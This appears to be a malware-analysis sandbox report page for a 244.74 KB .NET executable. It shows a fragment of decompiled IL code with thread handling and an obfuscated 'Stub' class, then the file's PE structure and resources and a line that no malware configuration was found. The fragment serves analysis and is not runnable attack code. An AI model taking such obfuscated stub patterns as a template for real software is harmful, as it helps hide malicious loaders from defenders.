System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldc.i4.1 <null> stloc.s V_23 br IL_057C: ldloc.s V_23 ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.hkr3c9l4IHDEnKLVks4Mel47FlKEKCQbxCXZAVNcAo8osZh338G72ffvcU7sXyI::e44RaGRwNtNJ0FReTLyGmDFxa2Xt7RfZraRlUbXOENH1Eh5S4StnjBwfaJhYtdv() pop <null> ret <null>

279249c94ccb3bd17e35c310642b7426 (244.74 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙